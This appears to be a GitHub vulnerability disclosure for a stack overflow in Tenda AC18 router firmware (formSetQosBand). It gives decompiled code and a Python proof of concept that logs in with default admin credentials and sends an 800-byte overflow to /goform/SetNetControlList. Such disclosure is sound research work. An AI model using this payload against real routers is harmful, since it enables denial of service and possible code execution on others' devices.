

main ▾

...

[Router-vuls](#) / [Tenda](#) / [AC18](#) / formSetQosBand.md

CPSeek Create formSetQosBand.md

[History](#)

1 contributor



95 lines (68 sloc) | 2.28 KB

...

## Tenda AC18 stack overflow vulnerability

### \* Version

V15.03.05.19\_multi (ac18\_kf\_V15.03.05.19(6318\_)\_cn.bin)

### \* Firmware

<https://www.tenda.com.cn/download/detail-2683.html>

### \* Vulnerability Detail

In function formSetQosBand->FUN\_0007db78, the content obtained by the program from the parameter "list" is passed to local\_18, and then the local\_18 as param\_1 is passed to function FUN\_0007dd20, then param\_1 (local\_14) is directly copied into the local\_264 stack through the strcpy function. There is no size check, so there is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

```
void formSetQosBand(undefined4 param_1)
{
    local_18 = FUN_0002ba8c(param_1,"list",&DAT_000e250c);
    FUN_0007dd20(local_18,"bandwidth.mode",L'\n');
```

```

    local_5c = 0;
    ...
}

undefined4 FUN_0007db78(char *param_1,undefined4 param_2,byte param_3)
{
    int iVar1;

    char *local_20;
    int local_1c;
    int local_18;
    char *local_14;

    memset(auStack100,0,0x40);
    memset(auStack356,0,0x100);
    memset(local_264,0,0x100);

    memset(auStack1676,0,0x400);

    memset(auStack1964,0,0x100);
    local_18 = 0;
    local_1c = 0;
    FUN_0007db3c();
    local_14 = param_1;
    do {
        while( true ) {
            local_20 = strchr(local_14,(uint)param_3);
            if (local_20 == (char *)0x0) goto LAB_0007e0a0;
            local_1c = 0;
            *local_20 = '\\0';
            local_20 = local_20 + 1;
            memset(local_264,0,0x100);
            strcpy(local_264,local_14); //here is overflow
            if (local_264[0] == ';') {
                sscanf(local_264,"%[^;];%[^;];%[^;];%[^;];",&local_26c,&local_28c,&local_6a
            }
            else {
                sscanf(local_264,"%[^\\r]\\r%[^\\r]\\r%[^\\r]\\r%s",auStack1964,&local_28c,&local_
                local_1c = 1;
            }
        }
    }
}

```

## \* POC

```
import requests
```

```
cmd = b'list=AAAAAAAAAAAA\n' + b'A' * 800

url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/SetNetControlList/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()
```